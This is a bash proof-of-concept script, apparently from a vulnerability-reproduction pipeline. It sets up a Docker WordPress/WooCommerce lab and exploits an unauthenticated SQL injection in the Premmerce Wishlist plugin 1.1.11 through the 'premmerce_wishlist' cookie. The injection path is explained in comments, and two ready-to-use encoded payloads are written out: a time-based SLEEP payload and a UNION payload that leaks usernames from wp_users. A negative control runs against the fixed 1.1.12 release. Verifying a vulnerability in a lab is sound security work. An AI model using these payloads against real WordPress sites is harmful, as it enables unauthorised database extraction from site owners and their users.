#!/bin/bash
#
# CVE-2026-54849 - Premmerce Wishlist for WooCommerce <= 1.1.11
# Unauthenticated SQL injection via the 'premmerce_wishlist' cookie.
#
# Deploys a real WordPress + WooCommerce + Premmerce Wishlist stack in Docker,
# then sends an UNAUTHENTICATED HTTP request (from a separate client container
# on the Docker network) carrying a crafted 'premmerce_wishlist' cookie to the
# plugin's REST API endpoint, and proves:
#   * Time-based blind SQL injection: a SLEEP(5) payload delays the response ~5s.
#   * UNION-based data extraction: the admin user_login is leaked into the response.
# A negative control is performed on the fixed 1.1.12 release (no sleep, no leak).
#
set -euo pipefail

# ---------------------------------------------------------------------------
# Portable paths
# ---------------------------------------------------------------------------
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$REPRO_DIR/artifacts"
mkdir -p "$LOGS" "$ART"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
exec > >(tee -a "$MAIN_LOG") 2>&1

echo "=========================================================="
echo "CVE-2026-54849 - Premmerce Wishlist for WooCommerce SQLi"
echo "ROOT=$ROOT"
echo "date: $(date -u '+%Y-%m-%dT%H:%M:%SZ')"
echo "=========================================================="

# ---------------------------------------------------------------------------
# Read project cache context (best effort)
# ---------------------------------------------------------------------------
CTX="$ROOT/project_cache_context.json"
if [ -f "$CTX" ]; then echo "[i] project_cache_context.json present:"; head -40 "$CTX"; else echo "[i] no project_cache_context.json; using bundle/artifacts for zips"; fi

VULN_ZIP="$ROOT/artifacts/premmerce-1.1.11.zip"
FIXED_ZIP="$ROOT/artifacts/premmerce-1.1.12.zip"
WC_ZIP="$ROOT/artifacts/woocommerce.8.9.3.zip"
for z in "$VULN_ZIP" "$FIXED_ZIP" "$WC_ZIP"; do
  if [ ! -f "$z" ]; then
    echo "[!] missing artifact: $z - attempting download"
    case "$z" in
      *premmerce-1.1.11.zip) curl -fsSL -o "$z" "https://downloads.wordpress.org/plugin/premmerce-woocommerce-wishlist.1.1.11.zip" || true ;;
      *premmerce-1.1.12.zip) curl -fsSL -o "$z" "https://downloads.wordpress.org/plugin/premmerce-woocommerce-wishlist.1.1.12.zip" || true ;;
      *woocommerce.8.9.3.zip) curl -fsSL -o "$z" "https://downloads.wordpress.org/plugin/woocommerce.8.9.3.zip" || true ;;
    esac
  fi
  [ -f "$z" ] && echo "[i] artifact ok: $z ($(stat -c%s "$z") bytes)" || { echo "[!] FATAL artifact missing: $z"; exit 2; }
done

# ---------------------------------------------------------------------------
# Docker prerequisites
# ---------------------------------------------------------------------------
command -v docker >/dev/null || { echo "[!] docker not available"; exit 2; }

NET="premmerce-net"
DB="premmerce-db"
WP="premmerce-wp"
DBIMG="mariadb:11.4"
WPIMG="wordpress:6.7.2-php8.2-apache"
DBUSER="wpuser"; DBPASS="wppass"; DBNAME="wordpress"
ADMIN_USER="sqliadmin"; ADMIN_PASS="adminpass"
WP_URL="http://premmerce-wp"

echo "[i] pulling docker images (cached if present)"
docker pull "$DBIMG" >/dev/null 2>&1 || true
docker pull "$WPIMG" >/dev/null 2>&1 || true

echo "[i] tearing down any previous stack"
docker rm -f "$WP" "$DB" >/dev/null 2>&1 || true
docker network rm "$NET" >/dev/null 2>&1 || true
docker network create "$NET" >/dev/null

echo "[i] starting MariaDB"
docker run -d --name "$DB" --network "$NET" \
  -e MARIADB_ROOT_PASSWORD=rootpw -e MARIADB_DATABASE="$DBNAME" \
  -e MARIADB_USER="$DBUSER" -e MARIADB_PASSWORD="$DBPASS" "$DBIMG" >/dev/null

echo "[i] starting WordPress ($WPIMG)"
docker run -d --name "$WP" --network "$NET" \
  -e WORDPRESS_DB_HOST="$DB" -e WORDPRESS_DB_NAME="$DBNAME" \
  -e WORDPRESS_DB_USER="$DBUSER" -e WORDPRESS_DB_PASSWORD="$DBPASS" \
  -e WORDPRESS_TABLE_PREFIX=wp_ "$WPIMG" >/dev/null

echo "[i] waiting for MariaDB to accept connections"
for i in $(seq 1 60); do
  if docker exec "$DB" mariadb -u"$DBUSER" -p"$DBPASS" -e "SELECT 1" "$DBNAME" >/dev/null 2>&1; then
    echo "[i] MariaDB ready after ${i}s"; break
  fi
  sleep 1; [ "$i" = 60 ] && { echo "[!] MariaDB not ready"; exit 2; }
done

echo "[i] waiting for WordPress apache to respond"
for i in $(seq 1 60); do
  code=$(docker exec "$WP" sh -c 'curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1/ 2>/dev/null' || echo 000)
  if [ "$code" != "000" ]; then echo "[i] WordPress apache up (http=$code) after ${i}s"; break; fi
  sleep 1; [ "$i" = 60 ] && { echo "[!] WordPress apache not up"; exit 2; }
done

echo "[i] installing wp-cli inside WordPress container"
docker exec "$WP" sh -c 'curl -sO https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar && chmod +x wp-cli.phar' >/dev/null 2>&1

echo "[i] running WordPress core install (admin=$ADMIN_USER, url=$WP_URL)"
docker exec "$WP" sh -c "php wp-cli.phar core install --url='$WP_URL' --title='Test' --admin_user=$ADMIN_USER --admin_password=$ADMIN_PASS --admin_email=admin@test.local --allow-root" 2>&1 | tail -2

echo "[i] installing + activating WooCommerce 8.9.3 (from cached zip)"
docker cp "$WC_ZIP" "$WP:/tmp/woocommerce.zip"
docker exec "$WP" sh -c "php wp-cli.phar plugin install /tmp/woocommerce.zip --activate --allow-root" 2>&1 | tail -3

echo "[i] enabling pretty permalinks"
docker exec "$WP" sh -c "php wp-cli.phar rewrite structure '/%postname%/' --allow-root && php wp-cli.phar rewrite flush --allow-root" 2>&1 | tail -2

# ---------------------------------------------------------------------------
# Cookie payloads.
# Cookie name: premmerce_wishlist (JSON array of wishlist "keys").
# Vulnerable flow:
#   $_COOKIE['premmerce_wishlist'] --PHP urldecode--> U
#   U --WordPress wp_magic_quotes addslashes--> A   (auto on every WP request)
#   cookieGet(): json_decode(stripslashes(A))  ->  stripslashes undoes addslashes,
#                so json_decode receives U unchanged.
# getWishlistsByKeys() concatenates keys into SQL:
#   SELECT * FROM `wp_premmerce_wishlist` WHERE `wishlist_key` IN ("' . implode('", "', $keys) . '");
# A key  x") UNION SELECT ...  breaks out of the double-quoted literal.
# U (urldecoded value) must be VALID JSON with embedded quote escaped as \".
#   SLEEP U = ["x\") UNION SELECT SLEEP(5),2,3,4,5,6,7,8-- "]
#   UNION U = ["x\") UNION SELECT 1,2,user_login,4,5,6,7,8 FROM wp_users-- "]
# We send urlencode(U) because PHP urldecodes $_COOKIE.
# (wp_premmerce_wishlist has 8 columns: ID,user_id,name,wishlist_key,products,
#  date_created,date_modified,default -> UNION uses 8 columns.)
# ---------------------------------------------------------------------------
SLEEP_COOKIE='%5B%22x%5C%22%29%20UNION%20SELECT%20SLEEP%285%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8--%20%22%5D'
UNION_COOKIE='%5B%22x%5C%22%29%20UNION%20SELECT%201%2C2%2Cuser_login%2C4%2C5%2C6%2C7%2C8%20FROM%20wp_users--%20%22%5D'
REST_PATH="/?rest_route=/premmerce/wishlist/add/popup"

# Remote client: a separate container on the Docker network issues the HTTP
# request to the WordPress service by container name -> genuine cross-host,
# unauthenticated HTTP request to the WordPress REST API. The host artifacts
# dir is bind-mounted at /art so curl can write the response body there.
remote_curl() {
  # $1 = cookie value (urlencoded), $2 = output filename (relative to $ART)
  # Uses docker create + docker cp to retrieve the response body without bind
  # mounts (the Docker daemon may live in a separate namespace where bind
  # mounts and published ports are not visible to this shell).
  local cookie="$1"; local fname="$2"
  local cid; cid=$(docker create --network "$NET" --entrypoint curl "$WPIMG" \
    -sL --max-time 30 \
    -H "Cookie: premmerce_wishlist=$cookie" \
    -o /tmp/body -w '%{http_code} %{time_total}' "$WP_URL$REST_PATH")
  local res; res=$(docker start -a "$cid" 2>&1 || true)
  docker cp "$cid:/tmp/body" "$ART/$fname" >/dev/null 2>&1 || true
  docker rm "$cid" >/dev/null 2>&1 || true
  printf '%s' "$res"
}

measure_sleep() {
  # $1 = label, $2 = output filename -> prints time (seconds) on stdout
  local label="$1"; local fname="$2"
  local res; res=$(remote_curl "$SLEEP_COOKIE" "$fname")
  local http="${res%% *}"; local t="${res##* }"
  echo "  [$label] SLEEP payload -> http=$http time=${t}s (body: $ART/$fname)" >&2
  printf '%s' "$t"
}

measure_union() {
  # $1 = label, $2 = output filename -> prints leak count on stdout
  local label="$1"; local fname="$2"
  local res; res=$(remote_curl "$UNION_COOKIE" "$fname")
  local http="${res%% *}"; local t="${res##* }"
  local out="$ART/$fname"; local cnt=0
  if [ -f "$out" ]; then cnt=$(grep -c "$ADMIN_USER" "$out" 2>/dev/null || true); [ -z "$cnt" ] && cnt=0; fi
  echo "  [$label] UNION payload -> http=$http time=${t}s leak=$cnt (occurrences of '$ADMIN_USER') (body: $out)" >&2
  printf '%s' "$cnt"
}

install_plugin() {
  # $1 = zip path, $2 = expected version label
  local zip="$1"; local label="$2"
  echo "[i] installing Premmerce Wishlist $label"
  docker exec "$WP" sh -c "php wp-cli.phar plugin deactivate premmerce-woocommerce-wishlist --allow-root 2>/dev/null || true"
  docker exec "$WP" sh -c "php wp-cli.phar plugin delete premmerce-woocommerce-wishlist --allow-root 2>/dev/null || true"
  docker cp "$zip" "$WP:/tmp/premmerce.zip"
  docker exec "$WP" sh -c "php wp-cli.phar plugin install /tmp/premmerce.zip --activate --allow-root" 2>&1 | tail -2
  docker exec "$WP" sh -c "php wp-cli.phar plugin list --status=active --fields=name,version --allow-root" 2>&1 | tail -4
}

# ---------------------------------------------------------------------------
# VULNERABLE version (1.1.11)
# ---------------------------------------------------------------------------
install_plugin "$VULN_ZIP" "1.1.11 (VULNERABLE)"
echo "[*] VULNERABLE attempts"
V_SLEEP_TIMES=""
for i in 1 2; do
  t=$(measure_sleep "vuln-sleep-$i" "vuln_sleep_$i.body")
  V_SLEEP_TIMES="$V_SLEEP_TIMES $t"
done
V_UNION_LEAKS=""
for i in 1 2; do
  c=$(measure_union "vuln-union-$i" "vuln_union_$i.body")
  V_UNION_LEAKS="$V_UNION_LEAKS $c"
done

# ---------------------------------------------------------------------------
# FIXED version (1.1.12) - negative control
# ---------------------------------------------------------------------------
install_plugin "$FIXED_ZIP" "1.1.12 (FIXED)"
echo "[*] FIXED attempts (negative control)"
F_SLEEP_TIMES=""
for i in 1 2; do
  t=$(measure_sleep "fixed-sleep-$i" "fixed_sleep_$i.body")
  F_SLEEP_TIMES="$F_SLEEP_TIMES $t"
done
F_UNION_LEAKS=""
for i in 1 2; do
  c=$(measure_union "fixed-union-$i" "fixed_union_$i.body")
  F_UNION_LEAKS="$F_UNION_LEAKS $c"
done

# ---------------------------------------------------------------------------
# Evaluation
# ---------------------------------------------------------------------------
echo "=========================================================="
echo "RESULTS"
echo "  vulnerable SLEEP times: $V_SLEEP_TIMES"
echo "  vulnerable UNION leaks: $V_UNION_LEAKS"
echo "  fixed     SLEEP times: $F_SLEEP_TIMES"
echo "  fixed     UNION leaks: $F_UNION_LEAKS"
echo "=========================================================="

vuln_sleep_ok=true
for t in $V_SLEEP_TIMES; do awk "BEGIN{exit !($t >= 4.0)}" || vuln_sleep_ok=false; done
vuln_union_ok=true
for c in $V_UNION_LEAKS; do [ "${c:-0}" -ge 1 ] || vuln_union_ok=false; done
fixed_sleep_ok=true
for t in $F_SLEEP_TIMES; do awk "BEGIN{exit !($t < 3.0)}" || fixed_sleep_ok=false; done
fixed_union_ok=true
for c in $F_UNION_LEAKS; do [ "${c:-0}" -eq 0 ] || fixed_union_ok=false; done

echo "  vuln_sleep_ok=$vuln_sleep_ok vuln_union_ok=$vuln_union_ok"
echo "  fixed_sleep_ok=$fixed_sleep_ok fixed_union_ok=$fixed_union_ok"

CONFIRMED=false
if $vuln_sleep_ok && $vuln_union_ok && $fixed_sleep_ok && $fixed_union_ok; then CONFIRMED=true; fi

if $CONFIRMED; then STATUS="confirmed"; NOTES="Unauthenticated SQL injection confirmed on Premmerce Wishlist 1.1.11 via premmerce_wishlist cookie; fixed in 1.1.12.";
else STATUS="not_confirmed"; NOTES="Reproduction did not meet all confirmation criteria."; fi

# ---------------------------------------------------------------------------
# Runtime manifest (strict JSON via python)
# ---------------------------------------------------------------------------
python3 - "$REPRO_DIR/runtime_manifest.json" "$STATUS" "$NOTES" "$ART" "$V_SLEEP_TIMES" "$V_UNION_LEAKS" "$F_SLEEP_TIMES" "$F_UNION_LEAKS" <<'PY'
import json, sys, os
out, status, notes, art, vsl, vun, fsl, fun = sys.argv[1:9]
def nums(s): return [float(x) for x in s.split() if x]
def ints(s): return [int(x) for x in s.split() if x]
artifacts = []
if os.path.isdir(art):
    for f in sorted(os.listdir(art)):
        if f.endswith(".body"):
            artifacts.append("repro/artifacts/" + f)
manifest = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "Unauthenticated HTTP GET to WordPress REST endpoint /?rest_route=/premmerce/wishlist/add/popup with crafted premmerce_wishlist cookie (sent from a separate Docker-network client container to the WordPress service by container name).",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["mariadb:11.4", "wordpress:6.7.2-php8.2-apache", "woocommerce 8.9.3", "premmerce-woocommerce-wishlist"],
  "proof_artifacts": artifacts,
  "vulnerable_sleep_seconds": nums(vsl),
  "vulnerable_union_leak_counts": ints(vun),
  "fixed_sleep_seconds": nums(fsl),
  "fixed_union_leak_counts": ints(fun),
  "confirmation_status": status,
  "notes": notes,
}
with open(out, "w") as f:
    json.dump(manifest, f, indent=2)
print("[i] wrote", out)
PY

echo "[i] runtime_manifest.json:"
cat "$REPRO_DIR/runtime_manifest.json"

echo ""
if $CONFIRMED; then
  echo "[+] CONFIRMED: CVE-2026-54849 unauthenticated SQL injection reproduced."
  exit 0
else
  echo "[!] NOT CONFIRMED: criteria not met."
  exit 1
fi
